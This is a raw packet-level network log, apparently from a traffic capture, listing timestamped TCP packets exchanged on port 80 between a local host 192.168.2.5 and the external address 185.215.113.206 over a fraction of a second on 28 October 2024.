Oct 28, 2024 18:43:38.970702887 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.970710993 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970725060 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970741987 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970747948 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.970757008 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970776081 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.970783949 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970786095 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.970801115 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970815897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970829964 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970832109 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.970846891 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970853090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.970863104 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970877886 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970882893 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.970894098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970895052 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.970917940 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.970922947 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970937967 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.970940113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970956087 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970971107 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.970978975 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.970987082 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971003056 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971008062 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971018076 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971024990 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971034050 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971049070 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971055031 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971076012 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971079111 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971096039 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971101999 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971111059 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971127033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971127033 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971133947 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971148968 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971148968 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971164942 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971164942 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971187115 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971194029 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971194983 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971221924 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971234083 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971236944 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971251965 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971266985 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971277952 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971282005 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971297979 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971306086 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971319914 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971319914 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971338987 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971353054 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971366882 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971369028 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971383095 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971383095 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971399069 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971406937 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971414089 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971429110 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971435070 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971446037 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971461058 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971467972 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971477985 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971478939 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971493006 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971512079 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971517086 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971522093 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971532106 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971546888 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971549988 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971561909 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971576929 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971581936 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971590996 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971590996 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971620083 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971622944 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971636057 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971643925 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971652985 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971657991 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971673012 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971676111 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971690893 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971698046 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971705914 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971709967 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971721888 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971738100 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971744061 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971755028 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971762896 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971781015 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971800089 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971800089 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971817017 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971822977 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971832037 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971847057 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971854925 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971863985 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971885920 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971887112 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971896887 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971903086 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971916914 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971925974 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971931934 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971937895 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971947908 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971952915 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971962929 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971971035 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971977949 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.971995115 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.971997976 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972001076 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972013950 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972021103 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972044945 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972048044 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972064018 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972078085 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972093105 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972103119 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972110033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972121954 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972125053 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972141027 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972151995 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972156048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972183943 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972193956 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972198963 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972213984 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972224951 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972232103 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972239971 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972246885 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972270012 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972275972 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972290039 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972290993 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972312927 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972313881 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972327948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972337961 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972342968 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972352028 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972359896 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972373009 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972377062 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972384930 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972403049 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972407103 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972420931 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972421885 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972436905 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972441912 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972453117 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972460032 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972469091 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972472906 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972485065 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972491980 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972500086 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972501993 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972521067 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972536087 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972537041 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972553968 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972558975 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972569942 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972584963 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972584963 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972601891 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972609043 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972620010 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972634077 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972636938 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972665071 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972667933 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972681046 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972697020 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972713947 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972719908 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972728968 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972732067 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972744942 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972762108 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972773075 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972781897 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972788095 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972803116 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972817898 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972826004 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972827911 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972841024 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972848892 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972856998 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972865105 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972878933 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972894907 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972898960 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972909927 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972917080 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972925901 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972943068 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972949982 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972958088 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972973108 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972976923 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.972986937 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.972994089 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973002911 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973016977 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973021030 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973031044 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973031044 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973047972 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973052979 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973062992 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973077059 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973078966 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973093033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973104954 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973113060 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973119020 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973125935 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973131895 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973136902 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973140955 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973141909 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973156929 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973160982 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973167896 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973172903 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973189116 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973193884 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973203897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973212004 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973221064 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973238945 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973244905 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973254919 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973273039 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973278999 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973289013 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973304033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973311901 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973319054 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973323107 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973334074 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973349094 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973356962 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973362923 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973378897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973380089 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973395109 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973411083 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973411083 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973417044 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973424911 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973436117 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973443031 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973448038 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973459005 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973468065 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973474026 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973489046 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973491907 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973505974 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973505974 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973522902 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973527908 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973540068 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973546982 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973556042 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973572969 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973582029 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973587036 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973602057 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973606110 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973618984 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973627090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973634005 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973649979 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973658085 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973664045 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973664045 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973679066 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973695040 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973701000 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973710060 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973717928 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973726034 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973740101 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973756075 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973757982 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973771095 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973781109 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973787069 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973803043 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973809004 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973818064 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973831892 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973834038 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973846912 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973855972 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973862886 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973869085 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973879099 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973893881 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973902941 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973907948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973923922 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973923922 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973938942 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973953009 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973954916 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973967075 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973975897 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.973982096 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973998070 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.973999977 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.974014044 CET	80	63519	185.215.113.206	192.168.2.5
